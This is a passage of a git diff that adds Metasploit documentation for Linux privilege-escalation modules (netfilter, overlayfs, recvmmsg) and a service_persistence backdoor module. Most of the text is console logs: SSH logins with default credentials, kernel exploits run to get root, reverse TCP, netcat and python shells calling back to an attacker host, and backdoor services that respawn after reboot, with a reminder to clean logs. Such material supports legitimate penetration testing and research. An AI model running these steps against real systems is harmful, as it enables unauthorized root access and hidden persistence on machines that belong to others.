+ +## Scenarios + +### Ubuntu 16.04.1 (with linux-image-4.4.0-21-generic) + +#### Initial Access + + msf > use auxiliary/scanner/ssh/ssh_login + msf auxiliary(ssh_login) > set rhosts 127.0.0.1 + rhosts => 127.0.0.1 + msf auxiliary(ssh_login) > set username nagios + username => nagios + msf auxiliary(ssh_login) > set password nagios + password => nagios + msf auxiliary(ssh_login) > exploit + + [*] SSH - Starting bruteforce + [+] SSH - Success: 'nagios:nagios' 'uid=1000(nagios) gid=1000(nagios) groups=1000(nagios),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1001(nagcmd) Linux nagios 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ' + [!] No active DB -- Credential data will not be saved! + [*] Command shell session 1 opened (127.0.0.1:36085 -> 127.0.0.1:22) at 2016-09-16 01:15:34 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +#### Escalate + + [*] Started reverse TCP handler on 192.168.2.117:4444 + [*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed + [+] libc6-dev-i386 is installed + [+] gcc-multilib is installed + [+] gcc is installed + [*] Live compiling exploit on system + [*] Checking if ip_tables is loaded in kernel + [+] ip_tables.ko is loaded + [*] Checking if shem or sham are installed + [+] shem and sham not present. + [*] Writing desc executable to /tmp/fI1xW1Js.c + [*] Max line length is 65537 + [*] Writing 3291 bytes in 1 chunks of 11490 bytes (octal-encoded), using printf + [*] Executing /tmp/fI1xW1Js, may take around 35s to finish. Watching for /tmp/GWqpwKnG to be created. + [*] Waited 0s so far + [*] Waited 10s so far + [*] Waited 20s so far + [*] Waited 30s so far + [+] desc finished, env ready. + [*] Writing payload to /tmp/Thzyfenv + [*] Max line length is 65537 + [*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf + [*] Writing pwn executable to /tmp/wmfFiQKu.c + [*] Max line length is 65537 + [*] Writing 1326 bytes in 1 chunks of 4699 bytes (octal-encoded), using printf + [*] Transmitting intermediate stager for over-sized stage...(105 bytes) + [*] Sending stage (1495599 bytes) to 192.168.2.137 + [*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.137:60982) at 2016-09-24 17:22:47 -0400 + [+] Deleted /tmp/fI1xW1Js.c + [+] Deleted /tmp/GWqpwKnG + [+] Deleted /tmp/fI1xW1Js + [+] Deleted /tmp/Thzyfenv + [+] Deleted /tmp/wmfFiQKu.c + [+] Deleted /tmp/wmfFiQKu + + meterpreter > sysinfo + Computer : ubuntu + OS : Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 (x86_64) + Architecture : x86_64 + Meterpreter : x86/linux + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0 + +#### Escalate w/ pre-compiled binaries + + msf exploit(netfilter_priv_esc) > exploit + + [*] Started reverse TCP handler on 192.168.2.117:4444 + [*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed + [-] libc6-dev-i386 is not installed. Compiling will fail. + [-] gcc-multilib is not installed. Compiling will fail. + [-] gcc is not installed. Compiling will fail. + [*] Dropping pre-compiled exploit on system + [*] Checking if ip_tables is loaded in kernel + [+] ip_tables.ko is loaded + [*] Checking if shem or sham are installed + [+] shem and sham not present. + [*] Max line length is 65537 + [*] Writing 7820 bytes in 1 chunks of 21701 bytes (octal-encoded), using printf + [*] Executing /tmp/8lQZGJdL, may take around 35s to finish. Watching for /tmp/okDjTFSS to be created. + [*] Waited 0s so far + [*] Waited 10s so far + [*] Waited 20s so far + [*] Waited 30s so far + [+] desc finished, env ready. + [*] Writing payload to /tmp/2016_4997_payload + [*] Max line length is 65537 + [*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf + [*] Writing pwn executable to /tmp/nOO6sYqi + [*] Max line length is 65537 + [*] Writing 8456 bytes in 1 chunks of 22023 bytes (octal-encoded), using printf + [*] Transmitting intermediate stager for over-sized stage...(105 bytes) + [*] Sending stage (1495599 bytes) to 192.168.2.137 + [*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.137:46778) at 2016-09-24 21:24:22 -0400 + [+] Deleted /tmp/okDjTFSS + [+] Deleted /tmp/2016_4997_payload + [+] Deleted /tmp/nOO6sYqi + + meterpreter > sysinfo + Computer : ubuntu + OS : Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 (x86_64) + Architecture : x86_64 + Meterpreter : x86/linux + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0 + +#### Re-exploit + +In this scenario, we already exploit the box, for whatever reason our shell died. So now we want to re-exploit, but we dont need to run desc again. + + msf exploit(netfilter_priv_esc) > set reexploit true + reexploit => true + msf exploit(netfilter_priv_esc) > exploit + + [*] Started reverse TCP handler on 192.168.2.117:4444 + [*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed + [+] libc6-dev-i386 is installed + [+] gcc-multilib is installed + [+] gcc is installed + [*] Live compiling exploit on system + [*] Checking if ip_tables is loaded in kernel + [+] ip_tables.ko is loaded + [*] Checking if shem or sham are installed + [+] shem and sham not present. + [*] Writing payload to /tmp/egMfQrrI + [*] Max line length is 65537 + [*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf + [*] Writing pwn executable to /tmp/Yf8CAdMu.c + [*] Max line length is 65537 + [*] Writing 1326 bytes in 1 chunks of 4699 bytes (octal-encoded), using printf + [*] Transmitting intermediate stager for over-sized stage...(105 bytes) + [*] Sending stage (1495599 bytes) to 192.168.2.137 + [*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.137:60984) at 2016-09-24 17:29:06 -0400 + [+] Deleted /tmp/egMfQrrI + [+] Deleted /tmp/Yf8CAdMu.c + [+] Deleted /tmp/Yf8CAdMu + + meterpreter > + +#### Re-exploit w/ pre-compiled binaries + + msf exploit(netfilter_priv_esc) > set reexploit true + reexploit => true + msf exploit(netfilter_priv_esc) > exploit + + [*] Started reverse TCP handler on 192.168.2.117:4444 + [*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed + [+] libc6-dev-i386 is installed + [-] gcc-multilib is not installed. Compiling will fail. + [-] gcc is not installed. Compiling will fail. + [*] Dropping pre-compiled exploit on system + [*] Checking if ip_tables is loaded in kernel + [+] ip_tables.ko is loaded + [*] Checking if shem or sham are installed + [+] shem and sham not present. + [*] Writing payload to /tmp/2016_4997_payload + [*] Max line length is 65537 + [*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf + [*] Writing pwn executable to /tmp/SZrv2NOR + [*] Max line length is 65537 + [*] Writing 8456 bytes in 1 chunks of 22023 bytes (octal-encoded), using printf + [*] Transmitting intermediate stager for over-sized stage...(105 bytes) + [*] Sending stage (1495599 bytes) to 192.168.2.137 + [*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.137:60996) at 2016-09-24 20:47:03 -0400 + + meterpreter > diff --git a/documentation/modules/exploit/linux/local/overlayfs_priv_esc.md b/documentation/modules/exploit/linux/local/overlayfs_priv_esc.md new file mode 100644 index 0000000000..d069bd7eef --- /dev/null +++ b/documentation/modules/exploit/linux/local/overlayfs_priv_esc.md @@ -0,0 +1,181 @@ +## Creating A Testing Environment + +This module has been tested against: + + 1. CVE-2015-1328 + 1. Ubuntu 14.04 + 1. 3.13.0-24 (binary version of exploit compiled on) + 2. 3.19.0-20 + 3. 3.19.0-21 (not vuln, exploit failed) + 4. 3.13.0-55 (not vuln, exploit failed) + 2. CVE-2015-8660 + 1. Ubuntu 14.04 + 1. 3.19.0-41 (binary version of exploit compiled on) + +Untested against + + 1. Fedora (code included to identify vuln versions) + 2. Redhat (description includes vuln kernel versions) + +## Verification Steps + + 1. Start msfconsole + 2. Exploit a box via whatever method + 4. Do: `use exploit/linux/local/overlayfs_priv_esc` + 5. Do: `set session #` + 6. Do: `set verbose true` + 7. Do: `exploit` + +## Options + + **COMPILE** + + If we should attempt to compile on the system. Defaults to Auto, which checks if `gcc` is installed + + **WritableDir** + + A folder we can write files to. Defaults to /tmp + +## Scenarios + +### CVE-2015-8660 against Ubuntu 14.04 with kernel 3.19.0-41 + +#### Initial Access + + resource (/root/Text-1.txt)> use auxiliary/scanner/ssh/ssh_login + resource (/root/Text-1.txt)> set rhosts 192.168.2.156 + rhosts => 192.168.2.156 + resource (/root/Text-1.txt)> set username ubuntu + username => ubuntu + resource (/root/Text-1.txt)> set password ubuntu + password => ubuntu + resource (/root/Text-1.txt)> exploit + [*] SSH - Starting bruteforce + [+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 3.19.0-41-generic #46~14.04.2-Ubuntu SMP Tue Dec 8 17:46:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux ' + [!] No active DB -- Credential data will not be saved! + [*] Command shell session 1 opened (192.168.2.117:39027 -> 192.168.2.156:22) at 2016-10-04 22:48:44 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +#### Escalate + + resource (/root/Text-1.txt)> use exploit/linux/local/overlayfs_priv_esc + resource (/root/Text-1.txt)> set verbose true + verbose => true + resource (/root/Text-1.txt)> set payload linux/x86/shell/reverse_tcp + payload => linux/x86/shell/reverse_tcp + resource (/root/Text-1.txt)> set session 1 + session => 1 + resource (/root/Text-1.txt)> set target 1 + target => 1 + resource (/root/Text-1.txt)> set lhost 192.168.2.117 + lhost => 192.168.2.117 + resource (/root/Text-1.txt)> exploit + [*] Started reverse TCP handler on 192.168.2.117:4444 + [*] Checking if mount points exist + [+] /tmp/haxhax not created + [+] Kernel 3.19.0.pre.41.pre.generic is vulnerable to CVE-2015-8660 + [+] gcc is installed + [*] Live compiling exploit on system + [*] Checking if mount points exist + [+] /tmp/haxhax not created + [+] Kernel 3.19.0.pre.41.pre.generic is vulnerable to CVE-2015-8660 + [*] Writing to /tmp/svF1U2Ya.c (2356 bytes) + [*] Max line length is 65537 + [*] Writing 2356 bytes in 1 chunks of 8098 bytes (octal-encoded), using printf + [*] Compiling /tmp/svF1U2Ya.c + [*] Writing to /tmp/fHCJO1ex (155 bytes) + [*] Max line length is 65537 + [*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf + [*] Exploiting... + [*] Sending stage (36 bytes) to 192.168.2.156 + [*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.156:44823) at 2016-10-04 22:48:57 -0400 + [+] Deleted /tmp/svF1U2Ya.c + [+] Deleted /tmp/fHCJO1ex + + 3986817421 + viRVXKxRruOuDKwEBYAscFvJPPrtQbTO + true + zxrnfClHzgOcewXyEqQeEAcHsQmsEPtk + cqdStYFUGluqJkpgfGAkPvcVgoKTtJlY + EOzlAFTpQsoXMWIicFiKHxsVjjlFpspC + true + FgIyOJMyeREcjxpsbWkNDZNtuUGYmBtt + omnusQCOqEdrUTbMLtDmXibhFAVQuTAz + VPsVgFTxVwskShumsJkambKWMQhifDJi + whoami + root + uname -a + Linux Ubuntu14 3.19.0-41-generic #46~14.04.2-Ubuntu SMP Tue Dec 8 17:46:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux + +### CVE-2015-1328 against Ubuntu 14.04 with kernel 3.13.0-24 + +#### Initial Access + + resource (/root/Text-1.txt)> use auxiliary/scanner/ssh/ssh_login + resource (/root/Text-1.txt)> set rhosts 192.168.2.156 + rhosts => 192.168.2.156 + resource (/root/Text-1.txt)> set username ubuntu + username => ubuntu + resource (/root/Text-1.txt)> set password ubuntu + password => ubuntu + resource (/root/Text-1.txt)> exploit + [*] SSH - Starting bruteforce + [+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux ' + [!] No active DB -- Credential data will not be saved! + [*] Command shell session 1 opened (192.168.2.117:42139 -> 192.168.2.156:22) at 2016-10-04 22:54:50 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +#### Escalate + + resource (overlay.rc)> use exploit/linux/local/overlayfs_priv_esc + resource (overlay.rc)> set verbose true + verbose => true + resource (overlay.rc)> set payload linux/x86/shell/reverse_tcp + payload => linux/x86/shell/reverse_tcp + resource (overlay.rc)> set target 0 + target => 0 + resource (overlay.rc)> set session 1 + session => 1 + resource (overlay.rc)> set lhost 192.168.2.117 + lhost => 192.168.2.117 + resource (overlay.rc)> exploit + [*] Started reverse TCP handler on 192.168.2.117:4444 + [*] Checking if mount points exist + [+] /tmp/ns_sploit not created + [+] Kernel 3.13.0.pre.24.pre.generic is vulnerable to CVE-2015-1328 + [+] gcc is installed + [*] Live compiling exploit on system + [*] Checking if mount points exist + [+] /tmp/ns_sploit not created + [+] Kernel 3.13.0.pre.24.pre.generic is vulnerable to CVE-2015-1328 + [*] Writing to /tmp/JmK51Dpa.c (3714 bytes) + [*] Max line length is 65537 + [*] Writing 3714 bytes in 1 chunks of 13319 bytes (octal-encoded), using printf + [*] Writing to /tmp/ofs-lib.c (439 bytes) + [*] Max line length is 65537 + [*] Writing 439 bytes in 1 chunks of 1563 bytes (octal-encoded), using printf + [*] Compiling /tmp/JmK51Dpa.c + [*] Writing to /tmp/R6TrMF7f (155 bytes) + [*] Max line length is 65537 + [*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf + [*] Exploiting... + [*] Sending stage (36 bytes) to 192.168.2.156 + [*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.156:35876) at 2016-10-14 11:26:49 -0400 + [!] Tried to delete /tmp/ofs-lib.c, unknown result + [+] Deleted /tmp/JmK51Dpa + + 2356964145 + psMfOJcKGKnafhAvALIeSFNegauafmux + RHxxKeTrEKLTMmssPTZjlJvkpblZjWSH + KWETRaFhNLLRkUbhRkRoflvdRdbJBPFP + true + ORoIgajQlzSvaciHEGqEvQZqLZMpJDjQ + dTdIcyWRpQOpEHizUhOQkDVqQZaxQIFR + UCINXsLPGwYDBqnRKbFyLFOzkbifFPiF + sh: 0: can't access tty; job control turned off + # # # whoami + root + # uname -a + Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux diff --git a/documentation/modules/exploit/linux/local/recvmmsg_priv_esc.md b/documentation/modules/exploit/linux/local/recvmmsg_priv_esc.md new file mode 100644 index 0000000000..bd845464ce --- /dev/null +++ b/documentation/modules/exploit/linux/local/recvmmsg_priv_esc.md @@ -0,0 +1,133 @@ +## Creating A Testing Environment + +This module works against Ubuntu 13.04, and 13.10. As of writing this, those releases are at EOL (end of life). If you wish to install `gcc` or other command, you'll need to fix your `/etc/sources.list` to +point to the correct repos. + +`sudo sed -i -re 's/([a-z]{2}\.)?archive.ubuntu.com|security.ubuntu.com/old-releases.ubuntu.com/g' /etc/apt/sources.list` [source](http://askubuntu.com/questions/91815/how-to-install-software-or-upgrade-from-an-old-unsupported-release) + +This module has been tested against: + + 1. Ubuntu 13.04 (default kernel) 3.8.0-19-generic + +This module should also work against: + + 1. Ubuntu 13.10 (default kernel) 3.11.0-12-generic + 2. Ubuntu 13.10 3.11.0-15-generic + +More kernels could be added to this, just need the proper offsets. + +## Verification Steps + + 1. Start msfconsole + 2. Exploit a box via whatever method + 3. Do: `use exploit/linux/local/recvmmsg_priv_esc` + 4. Do: `set session #` + 5. Do: `set verbose true` + 6. Do: `exploit` + +## Options + + **COMPILE** + + If we should attempt to compile live on the system, or drop a binary. Default is `auto` which will compile if `gcc` is installed. + + **WritableDir** + + A folder we can write files to. Defaults to /tmp + +## Scenarios + +### Ubuntu 13.04 (with default kernel: 3.8.0-19-generic) + +#### Initial Access + + [*] Processing recvmmsg.rc for ERB directives. + resource (recvmmsg.rc)> use auxiliary/scanner/ssh/ssh_login + resource (recvmmsg.rc)> set rhosts 192.168.2.20 + rhosts => 192.168.2.20 + resource (recvmmsg.rc)> set username ubuntu + username => ubuntu + resource (recvmmsg.rc)> set password ubuntu + password => ubuntu + resource (recvmmsg.rc)> exploit + [*] SSH - Starting bruteforce + [+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare) Linux ubuntu1304 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:16:28 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux ' + [!] No active DB -- Credential data will not be saved! + [*] Command shell session 1 opened (192.168.2.117:39613 -> 192.168.2.20:22) at 2016-10-08 23:19:48 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +#### Escalate + + resource (recvmmsg.rc)> use exploit/linux/local/recvmmsg_priv_esc + resource (recvmmsg.rc)> set verbose true + verbose => true + resource (recvmmsg.rc)> set payload linux/x86/shell/reverse_tcp + payload => linux/x86/shell/reverse_tcp + resource (recvmmsg.rc)> set session 1 + session => 1 + resource (recvmmsg.rc)> set lhost 192.168.2.117 + lhost => 192.168.2.117 + resource (recvmmsg.rc)> exploit + [*] Started reverse TCP handler on 192.168.2.117:4444 + [+] Kernel 3.8.0.pre.19.pre.generic is exploitable + [+] gcc is installed + [*] Live compiling exploit on system + [+] Kernel 3.8.0.pre.19.pre.generic is exploitable + [*] Writing to /tmp/4bUIkbrG.c (5950 bytes) + [*] Max line length is 65537 + [*] Writing 5950 bytes in 1 chunks of 20667 bytes (octal-encoded), using printf + [*] Compiling /tmp/4bUIkbrG.c + [*] Writing to /tmp/a0RwAacU (185 bytes) + [*] Max line length is 65537 + [*] Writing 185 bytes in 1 chunks of 560 bytes (octal-encoded), using printf + [*] Exploiting... May take 17min. Start time: 2016-10-08 23:20:00 -0400 + [*] Sending stage (36 bytes) to 192.168.2.20 + [*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.20:38465) at 2016-10-08 23:32:49 -0400 + + id + uid=0(root) gid=0(root) groups=0(root) + uname -a + Linux ubuntu1304 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:16:28 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux + +### Using pre-compiled binaries on the same system + + resource (recvmmsg.rc)> use exploit/linux/local/recvmmsg_priv_esc + resource (recvmmsg.rc)> set verbose true + verbose => true + resource (recvmmsg.rc)> set payload linux/x86/shell/reverse_tcp + payload => linux/x86/shell/reverse_tcp + resource (recvmmsg.rc)> set session 1 + session => 1 + resource (recvmmsg.rc)> set lhost 192.168.2.117 + lhost => 192.168.2.117 + resource (recvmmsg.rc)> exploit + [*] Started reverse TCP handler on 192.168.2.117:4444 + [+] Kernel 3.8.0.pre.19.pre.generic is exploitable + [-] gcc is not installed. Compiling will fail. + [*] Dropping pre-compiled exploit on system + [+] Kernel 3.8.0.pre.19.pre.generic is exploitable + [*] Writing to /tmp/Yc0xB9oC (14571 bytes) + [*] Max line length is 65537 + [*] Writing 14571 bytes in 1 chunks of 38575 bytes (octal-encoded), using printf + [*] Writing to /tmp/a0RwAacU (185 bytes) + [*] Max line length is 65537 + [*] Writing 185 bytes in 1 chunks of 560 bytes (octal-encoded), using printf + [*] Exploiting... May take 17min. Start time: 2016-10-08 23:42:01 -0400 + [*] Sending stage (36 bytes) to 192.168.2.20 + [*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.20:38465) at 2016-10-08 23:54:50 -0400 + [+] Deleted /tmp/Yc0xB9oC + [+] Deleted /tmp/a0RwAacU + + 2689016405 + carERUCEUgdCZfvTyiWuBklsNMqcNhey + true + dPZDicgefmDeBvIpRYKaToiSQmHWQxBe + yGWMZKlCTQskKCZERIXNchDARUIzzBJn + FjFxyOSVHntGpawbQfSzIdRPsbeyOgSq + true + HFPuJArQoYvuxhkoWbAwvdDbNVUjSdUL + vMvWNASOZcfTmStOGnozdJzfTAUWJYzU + VQUKZqzBlQaQJmbtyQSSNudDtINToRhu + whoami + root diff --git a/documentation/modules/exploit/linux/local/service_persistence.md b/documentation/modules/exploit/linux/local/service_persistence.md new file mode 100644 index 0000000000..5ca2e71f39 --- /dev/null +++ b/documentation/modules/exploit/linux/local/service_persistence.md @@ -0,0 +1,254 @@ +### Creating A Testing Environment + + This module has been tested against: + +1. Kali 2.0 (System V) +2. Ubuntu 14.04 (Upstart) +3. Ubuntu 16.04 (systemd) +4. Centos 5 (System V) +5. Fedora 18 (systemd) +6. Fedora 20 (systemd) + +## Verification Steps + + 1. Start msfconsole + 2. Exploit a box via whatever method + 3. Do: `use exploit/linux/local/service_persistence` + 4. Do: `set session #` + 5. Do: `set verbose true` + 6. Do: `set payload cmd/unix/reverse_python` or `payload cmd/unix/reverse_netcat` depending on system. + 7. Optional Do: `set SHELLAPTH /bin` if needed for compatibility on remote system. + 8. Do: `set lhost` + 9. Do: `exploit` + 10. Do: `use exploit/multi/handler` + 11. Do: `set payload cmd/unix/reverse_python` or `payload cmd/unix/reverse_netcat` depending on system. + 12. Do: `set lhost` + 13. Do: `exploit -j` + 14. Kill your shell (if System V, reboot target). Upstart/systemd wait 10sec + 15. Get Shell + +## Options + +**target** + + There are several targets selectable, which all have their own issues. + +0. Automatic: Detect the service handler automatically based on running `which` to find the admin binaries +1. System V: There is no automated restart, so while you'll get a shell, if it crashes, you'll need to wait for a init shift to restart the process automatically (like a reboot). This logs to syslog or /var/log/.log and .err +2. Upstart: Logs to its own file. This module is set to restart the shell after a 10sec pause, and do this forever. +3. systemd: This module is set to restart the shell after a 10sec pause, and do this forever. + +**SHELLPATH** + + If you need to change the location where the backdoor is written (like on CentOS 5), it can be done here. Default is /usr/local/bin + +**SERVICE** + + The name of the service to create. If not chosen, a 7 character random one is created. + +**SHELL_NAME** + + The name of the file to write with our shell. If not chosen, a 5 character random one is created. + +## Scenarios + +### System V (Centos 5 - root - chkconfig) + +Get initial access + + msf > use auxiliary/scanner/ssh/ssh_login + msf auxiliary(ssh_login) > set rhosts 192.168.199.131 + rhosts => 192.168.199.131 + msf auxiliary(ssh_login) > set username root + username => root + msf auxiliary(ssh_login) > set password centos + password => centos + msf auxiliary(ssh_login) > exploit + + [*] 192.168.199.131:22 SSH - Starting bruteforce + [+] 192.168.199.131:22 SSH - Success: 'root:centos' 'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t:SystemLow-SystemHigh Linux localhost.localdomain 2.6.18-398.el5 #1 SMP Tue Sep 16 20:51:48 EDT 2014 i686 i686 i386 GNU/Linux ' + [*] Command shell session 1 opened (192.168.199.128:49359 -> 192.168.199.131:22) at 2016-06-22 14:27:38 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +Install our callback service (system_v w/ chkconfig). Note we change SHELLPATH since /usr/local/bin isnt in the path for CentOS 5 services. + + msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence + msf exploit(service_persistence) > set session 1 + session => 1 + msf exploit(service_persistence) > set verbose true + verbose => true + msf exploit(service_persistence) > set SHELLPATH /bin + SHELLPATH => /bin + msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat + payload => cmd/unix/reverse_netcat + msf exploit(service_persistence) > set lhost 192.168.199.128 + lhost => 192.168.199.128 + msf exploit(service_persistence) > exploit + + [*] Started reverse handler on 192.168.199.128:4444 + [*] Writing backdoor to /bin/GUIJc + [*] Max line length is 65537 + [*] Writing 95 bytes in 1 chunks of 329 bytes (octal-encoded), using printf + [*] Utilizing System_V + [*] Utilizing chkconfig + [*] Writing service: /etc/init.d/HqdezBF + [*] Max line length is 65537 + [*] Writing 1825 bytes in 1 chunks of 6409 bytes (octal-encoded), using printf + [*] Enabling & starting our service + [*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.131:56182) at 2016-06-22 14:27:50 -0400 + +Reboot the box to prove persistence + + reboot + ^Z + Background session 2? [y/N] y + msf exploit(service_persistence) > use exploit/multi/handler + msf exploit(handler) > set payload cmd/unix/reverse_netcat + payload => cmd/unix/reverse_netcat + msf exploit(handler) > set lhost 192.168.199.128 + lhost => 192.168.199.128 + msf exploit(handler) > exploit + + [*] Started reverse handler on 192.168.199.128:4444 + [*] Starting the payload handler... + [*] Command shell session 3 opened (192.168.199.128:4444 -> 192.168.199.131:44744) at 2016-06-22 14:29:32 -0400 + + +### Upstart (Ubuntu 14.04.4 Server - root) +Of note, I allowed Root login via SSH w/ password only to gain easy initial access + +Get initial access + + msf auxiliary(ssh_login) > exploit + + [*] 10.10.60.175:22 SSH - Starting bruteforce + [+] 10.10.60.175:22 SSH - Success: 'root:ubuntu' 'uid=0(root) gid=0(root) groups=0(root) Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:27 UTC 2016 i686 i686 i686 GNU/Linux ' + [*] Command shell session 1 opened (10.10.60.168:43945 -> 10.10.60.175:22) at 2016-06-22 08:03:15 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +Install our callback service (Upstart) + + msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence + msf exploit(service_persistence) > set session 1 + session => 1 + msf exploit(service_persistence) > set verbose true + verbose => true + msf exploit(service_persistence) > set payload cmd/unix/reverse_python + payload => cmd/unix/reverse_python + msf exploit(service_persistence) > set lhost 10.10.60.168 + lhost => 10.10.60.168 + msf exploit(service_persistence) > exploit + + [*] Started reverse handler on 10.10.60.168:4444 + [*] Writing backdoor to /usr/local/bin/bmmjv + [*] Max line length is 65537 + [*] Writing 429 bytes in 1 chunks of 1650 bytes (octal-encoded), using printf + [*] Utilizing Upstart + [*] Writing /etc/init/Hipnufl.conf + [*] Max line length is 65537 + [*] Writing 236 bytes in 1 chunks of 874 bytes (octal-encoded), using printf + [*] Starting service + [*] Dont forget to clean logs: /var/log/upstart/Hipnufl.log + [*] Command shell session 5 opened (10.10.60.168:4444 -> 10.10.60.175:44368) at 2016-06-22 08:23:46 -0400 + +And now, we can kill the callback shell from our previous session + + ^Z + Background session 5? [y/N] y + msf exploit(service_persistence) > sessions -i 1 + [*] Starting interaction with 1... + + netstat -antp | grep 4444 + tcp 0 0 10.10.60.175:44368 10.10.60.168:4444 ESTABLISHED 1783/bash + tcp 0 0 10.10.60.175:44370 10.10.60.168:4444 ESTABLISHED 1789/python + kill 1783 + [*] 10.10.60.175 - Command shell session 5 closed. Reason: Died from EOFError + kill 1789 + +Now with a multi handler, we can catch Upstart restarting the process every 10sec + + msf > use exploit/multi/handler + msf exploit(handler) > set payload cmd/unix/reverse_python + payload => cmd/unix/reverse_python + msf exploit(handler) > set lhost 10.10.60.168 + lhost => 10.10.60.168 + msf exploit(handler) > exploit + + [*] Started reverse handler on 10.10.60.168:4444 + [*] Starting the payload handler... + [*] Command shell session 3 opened (10.10.60.168:4444 -> 10.10.60.175:44390) at 2016-06-22 08:26:48 -0400 + + +### systemd (Ubuntu 16.04 Server - root) +Ubuntu 16.04 doesn't have many of the default shell options, however `cmd/unix/reverse_netcat` works. +While python shellcode works on previous sytems, on 16.04 the path is `python3`, and therefore `python` will fail the shellcode. + +Get initial access + + msf exploit(handler) > use exploit/linux/local/service_persistence + msf exploit(service_persistence) > set session 1 + session => 1 + msf exploit(service_persistence) > set verbose true + verbose => true + msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat + payload => cmd/unix/reverse_netcat + msf exploit(service_persistence) > set lhost 192.168.199.128 + lhost => 192.168.199.128 + msf exploit(service_persistence) > exploit + + [*] Started reverse handler on 192.168.199.128:4444 + [*] Writing backdoor to /usr/local/bin/JSRCF + [*] Max line length is 65537 + [*] Writing 103 bytes in 1 chunks of 361 bytes (octal-encoded), using printf + [*] Utilizing systemd + [*] /lib/systemd/system/YelHpCx.service + [*] Max line length is 65537 + [*] Writing 151 bytes in 1 chunks of 579 bytes (octal-encoded), using printf + [*] Enabling service + [*] Starting service + [*] Command shell session 7 opened (192.168.199.128:4444 -> 192.168.199.130:47050) at 2016-06-22 10:35:07 -0400 + + ^Z + Background session 7? [y/N] y + +Kill the process on the Ubuntu target box via local access #good_admin + + root@ubuntu:/etc/systemd/system/multi-user.target.wants# netstat -antp | grep 4444 + tcp 0 0 192.168.199.130:47052 192.168.199.128:4444 ESTABLISHED 5632/nc + root@ubuntu:/etc/systemd/system/multi-user.target.wants# kill 5632 + +And logically, we lose our shell + + [*] 192.168.199.130 - Command shell session 7 closed. Reason: Died from EOFError + +Now with a multi handler, we can catch systemd restarting the process every 10sec + + + msf exploit(service_persistence) > use exploit/multi/handler + msf exploit(handler) > show options + + Module options (exploit/multi/handler): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + + Payload options (cmd/unix/reverse_netcat): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.199.128 yes The listen address + LPORT 4444 yes The listen port + + Exploit target: + + Id Name + -- ---- + 0 Wildcard Target + + msf exploit(handler) > exploit + + [*] Started reverse handler on 192.168.199.128:4444 + [*] Starting the payload handler... + [*] Command shell session 8 opened (192.168.199.128:4444 -> 192.168.199.130:47056) at 2016-06-22 10:37:30 -0400 diff --git a/documentation/modules/exploit/linux/misc/netcore_udp_53413_backdoor.md 